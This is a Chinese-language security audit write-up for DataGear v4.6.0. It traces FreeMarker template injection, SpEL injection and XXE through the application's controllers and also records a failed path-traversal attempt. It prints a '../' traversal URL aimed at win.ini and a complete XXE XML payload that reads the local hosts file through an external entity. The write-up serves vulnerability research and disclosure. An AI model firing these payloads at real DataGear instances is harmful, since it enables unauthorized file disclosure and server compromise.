前言
代码地址 https://github.com/datageartech/datagear/tree/v4.6.0
Freemarker SSTI (前台)
https://sp4rks.xyz/2025/03/23/JAVA%E5%AE%89%E5%85%A8/%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/SSTI%E6%B3%A8%E5%85%A5-FreeMarker/
Freemarker解析模板的基本格式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| @Mapping("/vuln") public String renderTemplate(@Param String template) throws TemplateException, IOException { if (template == null) { throw new IllegalArgumentException("Template content cannot be null"); }
String templateName = "userTemplate"; templateLoader.putTemplate(templateName, template);
Template freemarkerTemplate = cfg.getTemplate(templateName);
Map<String, Object> dataModel = new HashMap<>();
StringWriter out = new StringWriter(); freemarkerTemplate.process(dataModel, out);
return out.toString();
|
直接搜索方法
找到了org.datagear.analysis.support.DataSetFmkTemplateResolver#resolve(java.lang.String, org.datagear.analysis.support.TemplateContext)

在当前resolve方法中,template是可控的,然后他会调用setTemplate在当前线程绑定一个template

this.configuration.getTemplate 其中configuration是一个属性,在DataSetFmkTemplateResolver的构造方法中其实就被指定成为了FreeMarker中Configuration类,然后调用了getTemplate,从这个方法的名字看来也就是获取一个模板。随后通过process方法去解析这个模板。随后就是找谁调用了这个方法。
找到了三个地方有调用这个方法,但是可以看到这里直接到Controller了所以直接跟进Controller查看org.datagear.web.controller.DataSetController#resolveSqlTemplate

这里是第三个参数

这里就是到了具体的Controller,而且还是可控的,这里基本上就能确定有SSTI漏洞了,看一下具体的payload如何构造,这里加了注解@RequestBody 把HTTP 请求体中的数据绑定到方法参数上,最常用的格式是json,变相的也说明了需要使用POST,因为只有POST等方法才能携带请求体

去看ResolveSqlParam类型,字段名是sql

所以我们尝试访问,并构造请求

SPEL注入 (后台)
基本写法
1 2 3 4 5 6 7
| public class Main { public static void main(String[] args) { SpelExpressionParser parser = new SpelExpressionParser(); Expression value = parser.parseExpression("'Hello World'.concat('!')"); System.out.println(value.getValue()); } }
|
在datagear项目搜索
1
| new SpelExpressionParser(
|
找到了
org.datagear.persistence.support.ConversionSqlParamValueMapper#DEFAULT_SPEL_EXPRESSION_PARSER


expression.getContent(),其中getContent()只是一个简单的get方法,返回一个content,这里的expression明显是可控的

一层一层往上查找调用找到了这里org.datagear.persistence.support.DefaultPersistenceManager#mapToSqlParamValue

往上跟mapToSqlParamValue方法的调用发现在调用insert、update、delet、get的时候都会调用到


insert和update方法的调用可以直接找到在DataController中,入口 /{schemaId}/{tableName}/saveAdd和/{schemaId}/{tableName}/saveEdit
get方法的调用可以找到到3个控制器分别为:/{schemaId}/{tableName}/view、/{schemaId}/{tableName}/edit、/{schemaId}/{tableName}/downloadColumnValue
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| @RequestMapping("/{schemaId}/{tableName}/view") public String view(HttpServletRequest request, HttpServletResponse response, org.springframework.ui.Model springModel, @PathVariable("schemaId") String schemaId, @PathVariable("tableName") String tableName, @RequestBody Map<String, ?> paramData) throws Throwable { final User user = WebUtils.getUser(); final Row row = convertToRow(paramData);
final DefaultLOBRowMapper rowMapper = buildFormDefaultLOBRowMapper();
new VoidSchemaConnTableExecutor(request, response, springModel, schemaId, tableName, true) { @Override protected void execute(HttpServletRequest request, HttpServletResponse response, org.springframework.ui.Model springModel, Schema schema, Table table) throws Throwable { checkReadTableDataPermission(schema, user);
Connection cn = getConnection();
Row formModel = persistenceManager.get(cn, null, table, row, buildConditionSqlParamValueMapper(), rowMapper);
if (formModel == null) throw new RecordNotFoundException();
setFormModel(springModel, formModel, REQUEST_ACTION_VIEW, SUBMIT_ACTION_NONE); } }.execute();
setFormPageAttributes(request, springModel);
return "/data/data_form"; }
|
然后编辑,查看,导出,删除都是能触发的

任意文件下载(失败)
全局搜索download,翻了所有的controller,基本上只有这个有可控的地方

可以看到文件的名字是完全可控的

尝试使用payload,但是下载失败了
1
| http://127.0.0.1:50401/driverEntity/downloadDriverFile?id=1&file=../../.../../../../../../../../../Windows/win.ini
|
跟一下代码发现org.datagear.util.FileUtil#checkBackwardPathNoTrim 有安全检查

只要包含..就直接抛出异常
1 2 3 4 5 6 7 8
| protected static boolean containsBackwardPathNoTrim(String path) { if (path == null) return false;
return (path.indexOf(".." + PATH_SEPARATOR) > -1 || path.indexOf(PATH_SEPARATOR + "..") > -1); }
|

尝试使用二次编码绕过,但是下载下来的文件很奇怪,感觉是把输入当成了文件名字
本地路径在 C:\Users\14.datagear\temp\driverEntity\1%2e%2e%2f%2e%2e%2f222.txt

跟到这里也就是说并没有路径穿越,输入的payload拼接出了一个特殊文件,被当作完整文件名处理了

XXE (后台)
全局搜索 XML解析器 DocumentBuilderFactory或者SAXParserFactory或者XMLInputFactory,也直接直接搜索newInstance查看是什么解析器
在org.datagear.connection.XmlDriverEntityManager#readDriverEntities找到了DocumentBuilderFactory,并且从这里看输入是可控的

一层层网上找调用,找到了
org.datagear.web.controller.DriverEntityController#uploadImportFile
这里可控的参数是multipartFile然后上传了之后写进了importFile,然后可以看到是用zip格式来处理,这里说明了我们是需要上传一个压缩包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| @RequestMapping(value = "/uploadImportFile", produces = CONTENT_TYPE_JSON) @ResponseBody public List<DriverEntity> uploadImportFile(HttpServletRequest request, HttpServletResponse response, @RequestParam("importId") String importId, @RequestParam("file") MultipartFile multipartFile) throws Exception { File directory = getTempImportDirectory(importId, true);
FileUtil.clearDirectory(directory);
File importFile = FileUtil.getFile(directory, TEMP_IMPORT_FILE_NAME);
InputStream in = null; OutputStream importFileOut = null; try { in = multipartFile.getInputStream(); importFileOut = IOUtil.getOutputStream(importFile); IOUtil.write(in, importFileOut); } finally { IOUtil.close(in); IOUtil.close(importFileOut); }
ZipInputStream importFileIn = IOUtil.getZipInputStream(importFile);
XmlDriverEntityManager driverEntityManager = new XmlDriverEntityManager(directory);
try { driverEntityManager.init();
return driverEntityManager.readDriverEntitiesFromZip(importFileIn); } catch (DriverEntityManagerException e) { throw new IllegalImportDriverEntityFileFormatException(e); } finally { IOUtil.close(importFileIn); driverEntityManager.releaseAll(); } }
|
把这个xml名字改为driverEntityInfo.xml,然后压缩成一个压缩包
主要的判断逻辑在 org.datagear.connection.XmlDriverEntityManager
1 2 3 4 5 6 7 8 9 10
| <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE driver-entities [ <!ENTITY edward SYSTEM "file:///C:/Windows/System32/drivers/etc/hosts"> ]> <driver-entities> <driver-entity> <id>&edward;</id> <driver-class-name>x</driver-class-name> </driver-entity> </driver-entities>
|
